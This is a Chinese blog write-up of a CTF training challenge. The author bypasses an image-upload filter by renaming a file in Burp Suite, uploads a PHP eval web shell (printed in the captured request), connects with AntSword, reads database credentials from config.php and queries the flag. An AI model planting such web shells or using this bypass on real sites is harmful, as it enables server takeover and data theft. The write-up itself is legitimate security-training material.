

i春秋ctf训练营writeup-Do you know upload?

原创

Gyn_ 于 2020-05-22 09:08:58 发布 191 收藏

文章标签: [安全](#) [其他](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/bbszhenshuai/article/details/106272588>

版权

main

打开看到是一个图片上传

图片上传

Filename: 未选择文件。

首先假设它妹有拓展名过滤, 直接传个一句话。



假设不成立。把一句话的拓展名改为.jpg, 打开burpsuit, 在发的时候再把jpg改成php

```
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0000;  
browse=CFIcTxUYU0NeU1hDVQJTRFBZSkdeQ11YWVZFRFpRWEZTUF1PW0dLTgBZXUVXR1pOGIIZTFRTW0VbU0VFW1xYQUISW09bQVNFXFETHFRAXUBSEFJI  
tcQV5QXU4dS1hMU0FaRVxBREVCtIINTkBCt1hUUKdXU1ll; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1589773623,1589804575,1589953756; ci_session=16ba  
__jsluid_h=c3f1f3587f516195f4b7e76d49076d1f  
Upgrade-Insecure-Requests: 1
```

```
-----180130908320497323333062569734  
Content-Disposition: form-data; name="dir"
```

```
/uploads/  
-----180130908320497323333062569734  
Content-Disposition: form-data; name="file"; filename="hack.jpg"  
Content-Type: image/jpeg
```

```
<?php @eval($_POST['hack']);?>  
-----180130908320497323333062569734  
Content-Disposition: form-data; name="submit"
```

```
Submit  
-----180130908320497323333062569734--
```

会返回给你它的路径。

图片上传

Filename: 未选择文件。

Upload: hack.jpg

Type: image/jpeg

Size: 0.029296875 Kb

Stored in: upload/hack.jpg

访问一下看看是不是就是那个路径

```
请求网址: http://8eaf8feb006244be8d3ab3bfc0a450ff1e99ac04d934747.changame.ichunqiu.com/upload/hack.php
请求方法: GET
远程地址: 127.0.0.1:8080
状态码: 200 OK
```

发现确实如此。用蚁剑连接，可以看到html目录下有一个config.php



内容如下

```
error_reporting(0);
session_start();
$servername = "localhost";
$username = "ctf";
$password = "ctfctfctf";
$dbase = "ctf";

// 创建连接
$conn = mysql_connect($servername,$username,$password) or die(" connect to mysql error");
mysql_select_db($dbase);
?>
```

所以直接去连数据库



数据库地址 * localhost
连接用户 * ctf
连接密码 ctfctfctf

<https://blog.csdn.net/bbszhenshuai>

然后一顿找，就找到了flag

配置列表

- mysql://ctf@localhost
 - information_schema
 - ctf
 - flag
 - flag (varchar(255))

执行SQL

```
1 SELECT `flag` FROM `flag` ORDER BY 1 DESC LIMIT 0,20;
```

执行结果

导出

flag

flag([REDACTED])

<https://blog.csdn.net/bbszhenshuai>